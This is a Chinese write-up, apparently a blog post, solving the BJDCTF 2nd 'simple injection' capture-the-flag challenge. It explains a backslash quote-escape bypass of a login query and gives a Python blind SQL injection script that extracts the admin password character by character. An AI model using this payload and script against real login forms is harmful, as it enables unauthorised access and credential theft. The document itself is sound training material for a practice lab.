[BJDCTF 2nd]简单注入

题目
图片.png
过程
1.username=admin,password=123
图片.png
2.username=admin’,password=123
图片.png
3.没有什么提示,扫描目录试试,发现hint.txt,发现后端过滤语句。
倘若转义username后面第一个单引号,使$_POST前面的单引号与password=后面的单引号闭合,便可以逃逸此单引号后面的内容。
select * from users where username='$_POST["username"]' and password='$_POST["password"]';
图片.png
username=admin
password=or 1#
图片.png
4.理解这些,脚本就很容易写了

import requests
import time
 
url='http://30e42e1c-74ab-4d1f-82e8-fcfb7562dfe1.node3.buuoj.cn/index.php'
flag=''
for x in range(1,50):
    high=137
    low=32
    mid=(low+high)//2
    while high>low:
        payload='^/**/(ascii(substr((password),%d,1))>%d)#'%(x,mid)
        data={
            "username":"admin\\",
            "password":payload
            }
        response=requests.post(url,data=data)
        if 'P3rh4ps' in response.text:
            low=mid+1
        else:
            high=mid
        mid=(high+low)//2
    flag+=chr(int(mid))
    print flag
#or (ascii(substr((password),1,1))>1)#

5.爆出密码,登录得flag。OhyOuFOuNdit
图片.png
图片.png

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值